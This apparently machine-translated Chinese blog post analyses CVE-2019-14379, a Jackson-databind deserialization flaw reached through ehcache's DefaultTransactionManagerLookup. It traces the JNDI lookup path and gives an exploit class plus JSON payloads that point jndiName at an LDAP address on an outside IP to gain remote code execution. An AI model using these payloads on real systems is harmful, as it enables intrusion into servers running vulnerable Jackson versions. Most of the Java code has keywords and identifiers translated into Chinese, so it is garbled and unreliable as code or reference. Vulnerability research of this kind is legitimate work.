分析jackjson的安全漏洞CVE-2019-14379

分析jackjson的安全漏洞CVE-2019-14379

这篇文章主要介绍了杰克森的使用及CVE-2019-14379漏洞分析阿克森知识点序列化和反序列化,集合名称和getName调用顺序,通过实例代码讲解的很详细,需要的朋友可以参考下

杰克逊是当前用的比较广泛的,用来序列化和反序列化json的Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)的开源框架杰克逊。社区相对比较活跃,更新速度也比较快,从开源代码库中的统计来看,杰克逊是最流行的json解析器之一。今天给大家介绍杰克逊知识点序列化和反序列化的时候,集合名称和getName调用顺序:

学生。java:

包com。测试。杰克逊试验;

公共课学生{

私有字符串名称;

私有整数年龄;

私教老师;

公共学生(){

System.out.println(学生构造方法被调用);

};

公共字符串getName() {

系统。出去。println(11111);

返回名称;

}

公共void集合名称(字符串名){

系统。出去。println(2222);

this.name=name

}

公共整数getAge() {

回归年龄;

}

公共空的存储(整数年龄){

this.age=年龄;

}

公立教师getTeacher() {

回报老师;

}

public void setTeacher(教师教师){

this.teacher=老师;

}

@覆盖

公共字符串toString() {

返回"学生"

name= name

,年龄=年龄

,老师=老师

};

}

}

在集合名称和getName处,新增输出语句:

调用测试类:

杰克逊序列化和反序列化:

@测试

公共void test2()抛出IOException {

//序列化对象转json字符串

学生学生=新生();

学生。集合名称(“jack”);

学生。setage(20);

学生.教师(新老师(‘卢阿’,33));

对象映射器object mapper=new object mapper();

//序列化JSON串时,在值上打印出对象类型

对象映射器。enabledefaulttyping(对象映射器.默认输入。非_最终);

字符串结果=对象映射器。writevalueasstring(学生);

System.out.println(结果);

//反序列化json字符串转对象

字符串JSON结果=[ com。测试。杰克逊斯特。学生,{ 姓名:杰克,年龄:20,老师:[ com。测试。杰克逊斯特。老师,{ 姓名: lua ,年龄:33 }]}];

stu=对象映射器。读取值(JSON结果,学生。类);

系统。出去。println(stu);

}

输出结果:

学生构造方法被调用

2222

11111

[com.test.JackSonTest.Student ,{name:jack , age:20, teacher :[ com .测试。杰克逊斯特。老师,{ 姓名: lua ,年龄:33}]}]

学生构造方法被调用

2222

教师构造方法被调用

学生{name=jack ,年龄=20,老师=老师{name=lua ,年龄=33}}

结论:在序列化的时候调用设置*,然后调用获取*方法,反序列化的时候会调用设置*方法,不会调用获取*方法,调用反序列化的json数据对应的类构造方法

CVE-2019-14379漏洞分析:

影响杰克逊到2.9.9.1:

这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:

先安装漏洞环境依赖:

pom.xml:

属国

groupId com。更快的XML。杰克逊。核心/群组Id

artifact id Jackson-databind/artifact id

版本2 .9 .8/版本

/依赖关系

属国

groupIdnet.sf.ehcache/groupId

artifactIdehcache/artifactId

版本2 .10 .6/版本

/依赖关系

属国

groupIdjavax/groupId

artifact id javaee-API/artifact id

版本6.0/版本

/依赖关系

单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!

反序列化的恶意类是:net。SF。ehcache。交易。经理。defaulttransactionmanagerlookup

因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:

进入类:

找到这段代码:

公共空集属性(属性属性){

如果(属性!=null) {

字符串jndiName=属性。getproperty( jndiName );

if (jndiName!=null) {

这个。defaultjndiselector。设置jndiName(jndiName);

}

}

}

获取jndiName的值,然后设置jndiName:

继续看这个类的其他方法:

public DefaultTransactionManagerLookup(){

这个。transactionmanagerselectors=新选择器[]{ this。defaultjndiselector,new GlassfishSelector(),new WeblogicSelector(),new BitronixSelector(),new AtomikosSelector()};

}

定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到

this.defaultJndiSelector的来源:

private final JndiSelector defaultJndiSelector=new GenericJndiSelector();

发现默认选择者实例化了通用选择符

这个等下要用到,这个先标记下。

继续看这个类的其他方法:getTransactionManager():

代码如下:

公共事务管理器getTransactionManager(){

if (this.selector==null) {

这个。锁定。lock();

尝试{

if (this.selector==null) {

这个。lookuptransactionmanager();

}

}最后{

这个。锁定。unlock();

}

}

返回这个。选择器。gettransactionmanager();

}

跟进去this.lookupTransactionManager():

其中

选择器[]var 1=this。transactionmanagerselectors

int var 2=var 1。长度;

获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:

跟进去:

公共事务管理器getTransactionManager(){

如果(这个。事务管理器==null){

这个。事务管理器=this。dolookup();

}

返回this.transactionManager

}

调用this.doLookup()方法:

跟进去:

跟进到了选择器类,发现这是个抽象类:

以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法。

寻找他的子类:

跟进去看看:

快速找多洛库普的具体实现:

把代码搞出来:

受保护的事务管理器doLookup() {

初始上下文

尝试{

初始上下文=新的初始上下文();

} catch (NamingException var14) {

LOG.debug(无法创建初始上下文,var 14);

返回空

}

尝试{

TransactionManager var3

尝试{

对象JNDI对象=初始上下文。查找(这个。get jndiname());

如果(事务管理器的jndiObject实例){

var 3=(事务管理器)JNDI对象;

返回var3

}

发现调用查找,远程调用我们的jndiName,jndiName可以通过性能设置:

对象JNDI对象=初始上下文。查找(这个。get jndiname());

至此都分析完了,触发jndi远程调用的文件是:net/SF/ehcache/ehcache/2。10 .6/ehcache-2。10 .6 .罐子!/net/SF/ehcache/transaction/manager/selector/jndiselector。班级

只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:

构造exp:

包com。测试。杰克逊试验;

导入com。更快的XML。杰克逊。数据绑定。对象映射器;

导入com。MySQL。JDBC。迷你管理员;

进口网。SF。ehcache。交易。经理。defaulttransactionmanagerlookup;

导入org。JDOM。转变。xsltransformexception

导入org。JDOM。转变。xsl转换器;

导入Java。io。io异常;

导入Java。SQL。SQL异常;

导入Java。util。属性;

公共类攻击Jdbc {

公共静态void main(String[] args)引发ClassNotFoundException、IOException、SQLException、XSLTransformException {

对象映射器object mapper=new object mapper();

班级。forname( org。JDOM。转变。xsl transformer’);

班级。forname( net。SF。ehcache。交易。经理。defaulttransactionmanagerlookup’);

object mapper . enabledefaulttyping(object mapper。default typing . NON _ FINAL);

string JSON 2=[ net . SF . ehcache . transaction . manager . defaulttransactionmanagerlookup ,{ properties :[ Java . util . properties ,{ jndiName : LDAP://119 . 45 . 227 . 86:123 }]];

object o=object mapper . read value(JSON 2,object . class);

object mapper . writevalueasstring(o);

}

}

这里writeValueAsString要序列化一次,因为只有调用get方法才能触发lookup远程调用,所以需要序列化一次。

运行代码:

至于恶意json的构造,参考开头写的测试类中序列化的生成。我是基于序列化的json的产生而推导出来的恶意json。

浅蓝提供的Exp是:

string POC=[ net . SF . ehcache . transaction . manager . defaulttransactionmanagerlookup ,{ properties :{ jndiName : LDAP://119 . 45 . 227 . 86:123/hello }];

这里的执行提示我json格式是错误的.

真的学到了很多,哈哈哈,挺有意思的,虽然实战很鸡肋。

漏洞分析参考文章:

https://b1ue.cn/archives/189.html

以上是CVE-2019-14379的jackjson使用细节和漏洞分析。有关杰克森CVE-2019-14379漏洞的更多信息,请关注我们的其他相关文章!

分析jackjson的安全漏洞CVE-2019-14379